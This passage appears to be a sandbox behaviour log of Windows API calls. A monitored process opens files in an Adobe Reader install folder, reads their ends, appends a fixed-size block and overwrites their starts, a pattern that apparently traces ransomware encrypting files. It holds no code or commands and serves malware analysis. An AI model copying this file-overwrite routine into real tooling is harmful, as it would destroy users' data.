lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHS", lpUsedDefaultChar=0x0) returned 18 [0040.388] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8400 [0040.431] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.432] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8400 [0040.433] WriteFile (in: hFile=0x1c4, lpBuffer=0x271f408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271f408*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.433] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.433] WriteFile (in: hFile=0x1c4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.433] CloseHandle (hObject=0x1c4) returned 1 [0040.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x899d [0040.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.434] ReleaseMutex (hMutex=0x128) returned 1 [0040.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0040.434] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.446] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x799d [0040.446] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x799d [0040.447] WriteFile (in: hFile=0x1c4, lpBuffer=0x271d2d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271d2d8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.448] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.448] WriteFile (in: hFile=0x1c4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.448] CloseHandle (hObject=0x1c4) returned 1 [0040.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Checkers.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\checkers.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.448] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.448] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x13200 [0040.448] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.448] ReleaseMutex (hMutex=0x128) returned 1 [0040.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHT", lpUsedDefaultChar=0x0) returned 12 [0040.449] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.462] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12200 [0040.462] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.482] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12200 [0040.482] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.482] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.482] WriteFile (in: hFile=0x1c4, lpBuffer=0x2805cf8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.482] CloseHandle (hObject=0x1c4) returned 1 [0040.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\RdLang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\rdlang32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.483] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.483] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xe0e00 [0040.483] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.483] ReleaseMutex (hMutex=0x128) returned 1 [0040.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHT", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHT", lpUsedDefaultChar=0x0) returned 12 [0040.483] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.521] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.550] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xdfe00 [0040.550] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.552] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xdfe00 [0040.553] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.553] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.553] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a36dc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.553] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a36dc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.553] CloseHandle (hObject=0x1c4) returned 1 [0040.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Weblink.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\weblink.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.554] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.554] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4e00 [0040.554] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.555] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.555] ReleaseMutex (hMutex=0x128) returned 1 [0040.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHT", lpUsedDefaultChar=0x0) returned 11 [0040.555] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.592] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3e00 [0040.592] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.764] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3e00 [0040.765] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.765] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.765] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.765] CloseHandle (hObject=0x1c4) returned 1 [0040.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.766] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.766] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xd2463 [0040.766] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.766] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.766] ReleaseMutex (hMutex=0x128) returned 1 [0040.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.api", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.api", lpUsedDefaultChar=0x0) returned 12 [0040.766] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.773] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.787] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd1463 [0040.787] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.855] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd1463 [0040.856] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.856] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.856] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.856] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.856] CloseHandle (hObject=0x1c4) returned 1 [0040.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.857] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.857] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0040.857] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.857] ReleaseMutex (hMutex=0x128) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DAN", lpUsedDefaultChar=0x0) returned 9 [0040.857] ReadFile (in: hFile=0x1c4, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0040.929] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0040.930] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0040.930] CloseHandle (hObject=0x1c4) returned 1 [0040.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.930] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.930] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0040.930] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.930] ReleaseMutex (hMutex=0x128) returned 1 [0040.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NOR", lpUsedDefaultChar=0x0) returned 9 [0040.931] ReadFile (in: hFile=0x1c4, lpBuffer=0x2805d18, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2805d18*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0040.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0040.939] WriteFile (in: hFile=0x1c4, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0040.939] CloseHandle (hObject=0x1c4) returned 1 [0040.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2000 [0040.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.939] WaitForSingleObject 